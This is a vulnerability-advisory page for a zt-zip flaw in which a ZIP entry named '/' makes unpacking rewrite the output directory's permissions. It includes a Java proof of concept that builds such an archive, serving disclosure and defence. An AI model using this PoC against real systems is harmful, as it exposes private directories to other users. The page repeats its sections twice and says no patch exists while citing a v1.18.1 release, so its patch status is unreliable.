CVE-2026-63499org.zeroturnaround:zt-zip Relative Path Traversal
NVD
Vulnerability Summary
### Summary
When using one of the `ZipUtil.unpack` overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the 'owner' it could be instead made accessible to every OS user.
### Details
When the name of a ZIP entry resolves to the output directory itself (e.g. the name `/`), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it.
### PoC
This proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS' with POSIX file permissions, see zt-zip's `ZTFilePermissionsUtil.fetchDefaultStrategy` which uses a fallback in that case.
```java
// Uses Apache Commons Compress to create the malicious ZIP file
// The issue itself is however in how zt-zip processes that ZIP file
import org.apache.commons.compress.archivers.zip.AsiExtraField;
import org.apache.commons.compress.archivers.zip.ZipArchiveEntry;
import org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream;
import org.apache.commons.compress.archivers.zip.ZipExtraField;
import org.zeroturnaround.zip.ZipUtil;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Set;
public class ZtZipTest {
public static void main(String[] args) throws Exception {
Path zipPath = Path.of("permissions-change.zip");
Path outputDir = Path.of("permissions-change");
Files.deleteIfExists(outputDir);
Files.createDirectory(outputDir);
Files.setPosixFilePermissions(outputDir, Set.of());
// outputs "[]"
System.out.println("Permissions before: " + Files.getPosixFilePermissions(outputDir));
createZip(zipPath);
ZipUtil.unpack(zipPath.toFile(), outputDir.toFile());
// outputs "[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]"
System.out.println("Permissions after: " + Files.getPosixFilePermissions(outputDir));
}
public static void createZip(Path path) throws Exception {
try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) {
var entry = new ZipArchiveEntry("/");
// Set 'allow all' permissions
entry.setUnixMode(0b1_1111_1111);
AsiExtraField extraField = new AsiExtraField();
// Set 'allow all' permissions
extraField.setMode(0b1_1111_1111);
entry.setExtraFields(new ZipExtraField[] { extraField });
zipStream.putArchiveEntry(entry);
zipStream.closeArchiveEntry();
}
}
}
```
### Impact
Affected are users who use `ZipUtil.unpack` to unpack an untrusted ZIP file.
When using one of the `ZipUtil.unpack` overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the 'owner' it could be instead made accessible to every OS user.
### Details
When the name of a ZIP entry resolves to the output directory itself (e.g. the name `/`), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it.
### PoC
This proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS' with POSIX file permissions, see zt-zip's `ZTFilePermissionsUtil.fetchDefaultStrategy` which uses a fallback in that case.
```java
// Uses Apache Commons Compress to create the malicious ZIP file
// The issue itself is however in how zt-zip processes that ZIP file
import org.apache.commons.compress.archivers.zip.AsiExtraField;
import org.apache.commons.compress.archivers.zip.ZipArchiveEntry;
import org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream;
import org.apache.commons.compress.archivers.zip.ZipExtraField;
import org.zeroturnaround.zip.ZipUtil;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Set;
public class ZtZipTest {
public static void main(String[] args) throws Exception {
Path zipPath = Path.of("permissions-change.zip");
Path outputDir = Path.of("permissions-change");
Files.deleteIfExists(outputDir);
Files.createDirectory(outputDir);
Files.setPosixFilePermissions(outputDir, Set.of());
// outputs "[]"
System.out.println("Permissions before: " + Files.getPosixFilePermissions(outputDir));
createZip(zipPath);
ZipUtil.unpack(zipPath.toFile(), outputDir.toFile());
// outputs "[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]"
System.out.println("Permissions after: " + Files.getPosixFilePermissions(outputDir));
}
public static void createZip(Path path) throws Exception {
try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) {
var entry = new ZipArchiveEntry("/");
// Set 'allow all' permissions
entry.setUnixMode(0b1_1111_1111);
AsiExtraField extraField = new AsiExtraField();
// Set 'allow all' permissions
extraField.setMode(0b1_1111_1111);
entry.setExtraFields(new ZipExtraField[] { extraField });
zipStream.putArchiveEntry(entry);
zipStream.closeArchiveEntry();
}
}
}
```
### Impact
Affected are users who use `ZipUtil.unpack` to unpack an untrusted ZIP file.
CVSS v4.0 Base Metrics — Score 6.9
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:NAttack VectorLocal
Attack ComplexityLow
Attack RequirementsNone
Privileges RequiredNone
User InteractionPassive
Confidentiality (Vulnerable System)None
Integrity (Vulnerable System)High
Availability (Vulnerable System)Low
Confidentiality (Subsequent System)None
Integrity (Subsequent System)None
Availability (Subsequent System)None
Affected & Patched Versions
- org.zeroturnaround:zt-zip <= 1.18.0
No patched version published yet
Until a fix ships, reduce exposure:
- Restrict access to the affected service or interface to trusted networks.
- Disable the affected feature if you do not need it.
- Watch the vendor advisory for a firmware or software update.
What to do
Prioritize this fix. Exploit code is public, so attacks can follow quickly.
- Check whether you run org.zeroturnaround:zt-zip and which version.
- No patched version is listed yet. Limit access to the affected service to trusted networks, and disable the feature if you can.
- Subscribe to the vendor advisory so you learn when a fix ships.
- Review logs and exposed services for signs of earlier compromise.
Timeline
- Nov 3, 2026Published
- Nov 9, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new org.zeroturnaround:zt-zip CVEsYou are reading CVE-2026-63499. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
- Vendor Advisoryhttps://github.com/zeroturnaround/zt-zip/security/advisories/GHSA-v2g6-7r9j-v6px
- CVE Recordhttps://nvd.nist.gov/vuln/detail/CVE-2026-63499
- Patchhttps://github.com/zeroturnaround/zt-zip/pull/191
- Patchhttps://github.com/zeroturnaround/zt-zip/commit/1b625467b4c3cd3a9bee9efc35bdef2f8d9c8dad
- Referencehttps://github.com/zeroturnaround/zt-zip/releases/tag/v1.18.1
- Referencehttps://github.com/advisories/GHSA-v2g6-7r9j-v6px
Data last checked: Nov 9, 2026 23:00 UTC